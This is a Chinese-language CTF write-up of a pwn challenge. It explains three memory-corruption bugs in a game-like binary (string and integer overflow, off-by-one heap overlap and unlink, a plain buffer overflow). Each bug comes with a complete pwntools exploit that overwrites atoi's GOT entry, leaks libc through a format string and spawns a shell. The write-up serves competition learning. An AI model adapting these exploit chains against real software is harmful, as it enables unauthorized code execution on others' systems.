pwn
前言
将atoi_got修改成printf_plt,威力无穷~
线下赛只有一个pwn题,但这一个pwn题却出的非常好,虽然防御机制没有全开,但是考察点非常之多,就其中一个漏洞的利用,就考察了如下五个知识点。
- string overflow
- int overflow
- off by one
- race condition
- heap overlay
- fmt
第一个漏洞
第一个漏洞出现在west模块,该模块可以创建最多两个house,初始的金币都为5(虽然有一个tricks,但是然并软),然后可以选择其中一个house的id购买weapon,若其中一个house的weapon比另一个强,就可以将另一个house消灭掉(free),那么我们怎么才能增加我们的金币数目呢,其实我们可以利用string overflow的方式,如下代码。
1 2 3 4 5 6 7 8
| fgets(&s1, 0x16, stdin); v9 = 0xA; if ( strlen(&s1) > 0x10 ) { puts("Your name is too long!"); exit(-1); } str_cpy(0x28LL * (signed int)i + 0x605148, (__int64)&s1);
|
s1可以输入0x16个字节,而string函数都以'\x00'
字节定义字符串的结束,我们可以构造绕过,将money覆盖成一个最大数0x7fffffff
,即可买我们想要的任何装备,接着漏洞出现在snprintf
处,该函数的返回值由原本要复制到dst addr
的数据长度决定,故而这边存在一个溢出,我们只要让返回值大于0x54
即可,int overflow
刚好能够做到这件事。接着利用刚才获取的长度溢出一个字节(只能达到一个字节,故而我们可以利用off by one
技术将指向soliders的指针位置上移),接着利用heap overlay技术将该上移的指针加入到unsorted bin内,在下次分配的时候,能够再次分配到该空间,故而我们可以利用该空间将house中的soliders指针地址修改成atoi_got
,然后在写入print_plt
的地址,利用fmt技术泄漏libc信息,算出system的地址,将atoi_got的地址修改成system地址,即可拿到shell,草稿如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| 0x605140 |ptr1(0xa0)|xxxxxxxx|xxxxxxxx 0x605158 |money 0x605158|length 0x60515c ptr1 size:0xa0 weapon(size:0x68)|ptr2(0x50) size:0x8|ally(size:0x30) 0x10 0x40 ptr2( read soliders 0x50) 0x605190 ptr2_addr 一些细节: 可以从else中的puts字符串来快速分析判断的是什么 uaf漏洞的分析,看free后,指针是否置0 逆向功底很重要。 strcmp strlen 都可以绕过
|
第一个漏洞的利用exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195
| import roputils,os,time from pwn import * from ctypes import * context(log_level="debug") DEBUG = 1 target = "./pwn" remote_ip = "" port = 0 rop = roputils.ROP(target) elf = ELF(target) if DEBUG: p = process(target,env={"LD_LIBRARY_PATH":sys.path[0]}) else: p = remote(remote_ip,port) def sl(data): p.sendline(data) def sd(data): p.send(data) def ru(data): return p.recvuntil(data) ru("exit\n") sl("1") def create_house(soliders): ru("war\n") sl("1") ru("\n") sl("n") ru("\n") sl("\x00"*0x10+p32(0x7fffffff)) ru("\n") sl("-2147483647") ru("\n") sd("a"*0x2e) ru("\n") sl(str(soliders)) ru("\n") sd("a"*soliders) ru("\n") sd("a"*0x30) def create_house2(): ru("war\n") sl("1") ru("\n") sl("n") ru("\n") sl("\x00"*0x10+p32(0x7fffffff)) ru("\n") sl("-2147483647") ru("\n") sd("a"*0x2e) ru("\n") sl(str(0x50)) ru("\n") sl('a'*0x38+p64(elf.got["atoi"])) ru("\n") sd("a"*0x30) def change_weapon(_id,weapon): ru("war\n") sl("2") ru("\n") sl(str(_id)) ru('5000000\n') sl(str(weapon)) def change_word(): ru("war\n") sl("1024") ru("id\n") sl("0") ru(" to Death?\n") payload = "Not today\x00" payload = payload.ljust(0x30-0x24,"a") payload += p64(0)+p64(0x1c0-0x30+1) payload = payload.ljust(0x54,"a") payload += chr(0x30+0x10) sd(payload) def start_war(): ru("war\n") sl("4") def change_vassal(addr): ru("war\n") sl("3") ru("id\n") sl("0") ru("\n") sl(str(0x50)) ru("\n") sl(p64(addr)) create_house(0x50) create_house(0x40) change_weapon(0,4) change_weapon(1,5) start_war() change_word() import time time.sleep(3) create_house2() change_vassal(elf.symbols["printf"]) ru("war\n") sl("%7$s...."+p64(elf.got["printf"])) printf_addr = u64(p.recv(6).ljust(8,"\x00")) offset = 0x0000000000054b50 - 0x0000000000044380 system_addr = printf_addr-offset sl("%7$n...."+p64(0x605130)) ru("war\n") sl("123") ru("id\n") sd("\n") ru("\n") sl("a"*0x7) ru("\n") sl(p64(system_addr)) ru("war\n") sl("/bin/sh\x00") p.interactive()
|
第二个漏洞
第二个漏洞出现在east模块,该模块下,存储slaves的长度被设计成为 chunk_size-8,而chunks_size由于其末三位是标记位,prev_size标记位于第8位,该标记位在前一个chunk在使用中时置1,故而当我们过呢关系slaves时,我们拥有一个字节的溢出,即off by one。我们可以利用这一个字节的溢出来修改下一个chunk的prev_size和其标记位来为实现overlay heap 和 unlink 攻击做铺垫(事实上这边只用到了unlink攻击,向前unlink),这边其实卡了我很久,一开始在想向前合并还是向后合并,后来尝试向后合并,但是 loyalty chunk的大小是0xe0+0x10 向后合并需要在下一个chunk构建fake_chunk_head,故而需要伪造 loyalty chunk_size 的字段值,使其满足寻址(找到下一个chunk)的逻辑,这个值是0xe0+0x10+0x1+0x10=0x101
,很遗憾,需要溢出两个字节才能达到要求,而我们并没有溢出两个字节的条件。故而想到向前合并,在loyalty chunk的前一个chunk中构建fake_chunk_head,将loyalty chunk_size_prev_flag置0,构造loyalty prev_size,触发free loyalty chunk,我们便可以获得一次任意地址写的机会~~利用代码如下,其实直接看代码就可以,逻辑很清晰。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155
| import roputils,os,time from pwn import * from ctypes import * context(log_level="debug") DEBUG = 1 target = "./pwn" remote_ip = "" port = 0 rop = roputils.ROP(target) elf = ELF(target) if DEBUG: p = process(target,env={"LD_LIBRARY_PATH":sys.path[0]}) else: p = remote(remote_ip,port) def sl(data): p.sendline(data) def sd(data): p.send(data) def ru(data): return p.recvuntil(data) ru("exit\n") sl("2") def Occupy(slaves,date): ru("Exit\n") sl("1") ru("choice:\n") sl("1") ru("\n") sl(str(slaves)) ru("\n") sl(date) def update_slaves(_id,date): ru("Exit\n") sl("2") ru("id\n") sl(str(_id)) ru("\n") sd(str(date)) def ruin(_id,flag): ru("Exit\n") sl("3") ru("ruin\n") sl(str(_id)) ru("nate him?(y/n)") sl(flag) def show(_id): ru("Exit\n") sl("4") ru("id\n") sl(str(_id)) Occupy(0x40,"123") ru("Khal") sl("123") Occupy(0x40,"123") Occupy(0x40,"123") ruin(2,"n") ruin(1,"n") show(1) ru("salves: ") fast_bin_addr = u64(ru("\n=")[:-2].ljust(8,"\x00")) print "fast_bin_addr#0="+hex(fast_bin_addr) heap_addr = fast_bin_addr-(fast_bin_addr & 0xfff) fast_bin_addr_ptr = heap_addr+0x10+0x20 Occupy(0x40,"123") Occupy(0x40,"123") fake_chunk_head = p64(0)+p64(0x41)+p64(fast_bin_addr_ptr-0x18)+p64(fast_bin_addr_ptr-0x10) payload = fake_chunk_head payload = payload.ljust(0x40,"\x00") update_slaves(0,payload+p64(0x40)+chr(0xe0+0x10)) ruin(1,"y") update_slaves(0,"a"*0x18+p64(elf.got["atoi"])) update_slaves(0,p64(elf.symbols["printf"])) ru("Exit\n") sd("%7$s...."+p64(elf.got["printf"])) printf_addr = u64(p.recv(6).ljust(8,"\x00")) offset = 0x0000000000054b50 - 0x0000000000044380 system_addr = printf_addr-offset ru("Exit\n") sl("a"*0x2) ru("id\n") sd("\n") ru("\n") sd(p64(system_addr)) sd("/bin/sh\x00") p.interactive()
|
第三个漏洞
第三个漏洞非常简单,字符串数组空间大小为0x20,然而却给它赋于了0x28的大小用户输入,导致其溢出覆盖了下一个指针,从而引发任意地址写的利用,我们可以利用任意地址写,将atoi改成printf来泄漏system地址,然后将atoi改成system实现任意代码执行,exp如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
| import roputils,os,time from pwn import * from ctypes import * context(log_level="debug") DEBUG = 1 target = "./pwn" remote_ip = "" port = 0 rop = roputils.ROP(target) elf = ELF(target) if DEBUG: p = process(target,env={"LD_LIBRARY_PATH":sys.path[0]}) else: p = remote(remote_ip,port) def sl(data): p.sendline(data) def sd(data): p.send(data) def ru(data): return p.recvuntil(data) ru("exit\n") sl("2") ru("Exit\n") sl("5") ru("\n") sl("y") ru("\n") payload = p64(elf.symbols["printf"])+"\n" payload = payload.ljust(0x20,"\x00") payload +=p64(elf.got["atoi"]) sd(payload) ru("Exit\n") sl("%7$s...."+p64(elf.got["printf"])) printf_addr = u64(p.recv(6).ljust(8,"\x00")) offset = 0x0000000000054b50 - 0x0000000000044380 system_addr = printf_addr-offset ru("Exit\n") sl("a"*5) ru("y/n)\n") sl("y") ru("nd up with '\\n')\n") payload = p64(system_addr)+"\n" payload = payload.ljust(0x20,"\x00") payload +=p64(elf.got["atoi"]) sd(payload) sl("/bin/sh\x00") p.interactive()
|